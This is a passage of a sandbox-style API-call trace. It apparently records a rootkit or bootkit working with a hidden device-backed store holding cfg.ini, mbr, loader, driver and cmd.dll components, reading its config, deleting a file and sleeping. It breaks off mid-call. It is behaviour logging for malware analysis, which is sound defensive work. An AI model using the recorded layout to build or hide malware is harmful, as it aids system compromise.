ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.926] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.926] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.926] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.926] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.926] IdePortDispatch () returned 0x103 [0119.926] KeWaitForMutexObject () returned 0x0 [0119.927] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.927] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.927] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.927] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.927] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.927] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcc9c0 [0119.927] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.927] KeLeaveCriticalRegion () [0119.927] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.927] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.927] KeEnterCriticalRegion () [0119.927] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.927] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.927] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.927] KeLeaveCriticalRegion () [0119.927] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.927] KeEnterCriticalRegion () [0119.927] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.927] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.927] IdePortDispatch () returned 0x103 [0119.927] KeWaitForMutexObject () returned 0x0 [0119.927] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.927] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.927] KeLeaveCriticalRegion () [0119.927] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.927] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.927] KeEnterCriticalRegion () [0119.927] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.927] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b14000 [0119.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.927] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.927] IdePortDispatch () returned 0x103 [0119.928] KeWaitForMutexObject () returned 0x0 [0119.928] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.928] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.928] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.928] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.928] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.928] IdePortDispatch () returned 0x103 [0119.928] KeWaitForMutexObject () returned 0x0 [0119.928] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.928] KeLeaveCriticalRegion () [0119.928] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.929] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.929] KeEnterCriticalRegion () [0119.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.929] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.929] KeLeaveCriticalRegion () [0119.929] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.929] KeEnterCriticalRegion () [0119.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.929] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.929] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcca80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.929] KeLeaveCriticalRegion () [0119.929] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.929] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.929] KeEnterCriticalRegion () [0119.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.929] ExFreePoolWithTag (P=0xfffffa8003bcc9c0, Tag=0x0) [0119.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.929] KeLeaveCriticalRegion () [0119.929] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.929] ReleaseMutex (hMutex=0xf0) returned 1 [0119.929] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.929] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.929] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.929] KeEnterCriticalRegion () [0119.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.929] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.929] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.929] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.929] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.929] IdePortDispatch () returned 0x103 [0119.929] KeWaitForMutexObject () returned 0x0 [0119.929] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.929] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.929] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.929] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.929] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.930] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca0b0 [0119.930] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.930] KeLeaveCriticalRegion () [0119.930] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.930] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.930] KeEnterCriticalRegion () [0119.930] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.930] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.930] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.930] KeLeaveCriticalRegion () [0119.930] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.930] KeEnterCriticalRegion () [0119.930] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.930] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.930] IdePortDispatch () returned 0x103 [0119.930] KeWaitForMutexObject () returned 0x0 [0119.930] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.930] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.930] KeLeaveCriticalRegion () [0119.930] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.930] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.930] KeEnterCriticalRegion () [0119.930] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.930] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b15000 [0119.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.930] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.930] IdePortDispatch () returned 0x103 [0119.930] KeWaitForMutexObject () returned 0x0 [0119.931] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.931] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.931] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.931] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.931] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.931] IdePortDispatch () returned 0x103 [0119.931] KeWaitForMutexObject () returned 0x0 [0119.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.931] KeLeaveCriticalRegion () [0119.931] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.931] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.931] KeEnterCriticalRegion () [0119.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.931] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.931] KeLeaveCriticalRegion () [0119.931] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.932] KeEnterCriticalRegion () [0119.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.932] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.932] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.932] KeLeaveCriticalRegion () [0119.932] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.932] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.932] KeEnterCriticalRegion () [0119.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.932] ExFreePoolWithTag (P=0xfffffa8003bca0b0, Tag=0x0) [0119.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.932] KeLeaveCriticalRegion () [0119.932] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.932] ReleaseMutex (hMutex=0xf0) returned 1 [0119.932] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.932] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.932] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.932] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.932] KeEnterCriticalRegion () [0119.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.932] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.932] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.932] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.932] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.932] IdePortDispatch () returned 0x103 [0119.932] KeWaitForMutexObject () returned 0x0 [0119.932] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.932] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.932] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.932] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.932] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.932] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.932] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.932] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.932] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.932] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.932] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.932] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.932] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.933] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.933] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.933] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.933] KeLeaveCriticalRegion () [0119.933] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.933] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.933] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.933] KeEnterCriticalRegion () [0119.933] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.933] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.933] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.933] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.933] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.933] IdePortDispatch () returned 0x103 [0119.933] KeWaitForMutexObject () returned 0x0 [0119.933] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.933] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.933] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.933] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.933] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.933] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.933] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.933] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.933] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.933] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.933] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.933] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.933] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.933] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.933] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.933] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.933] KeLeaveCriticalRegion () [0119.933] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.933] ReleaseMutex (hMutex=0x100) returned 1 [0119.933] Sleep (dwMilliseconds=0x2bf20) [0119.939] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6aae62d0, dwHighDateTime=0x1d24fa4)) [0119.940] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.940] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.940] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.940] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.940] KeEnterCriticalRegion () [0119.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.940] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.940] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.940] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.940] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.940] IdePortDispatch () returned 0x103 [0119.944] KeWaitForMutexObject () returned 0x0 [0119.944] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.944] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.944] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.944] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.944] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.944] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca0b0 [0119.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.944] KeLeaveCriticalRegion () [0119.944] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.945] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.945] KeEnterCriticalRegion () [0119.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.945] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.945] KeLeaveCriticalRegion () [0119.945] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.945] KeEnterCriticalRegion () [0119.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.945] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.945] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.945] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.945] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.945] IdePortDispatch () returned 0x103 [0119.945] KeWaitForMutexObject () returned 0x0 [0119.945] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.945] KeLeaveCriticalRegion () [0119.945] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.945] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.945] KeEnterCriticalRegion () [0119.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.945] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b18000 [0119.945] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.945] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.945] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.945] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.945] IdePortDispatch () returned 0x103 [0119.945] KeWaitForMutexObject () returned 0x0 [0119.946] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.946] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.946] IoAllocateMdl 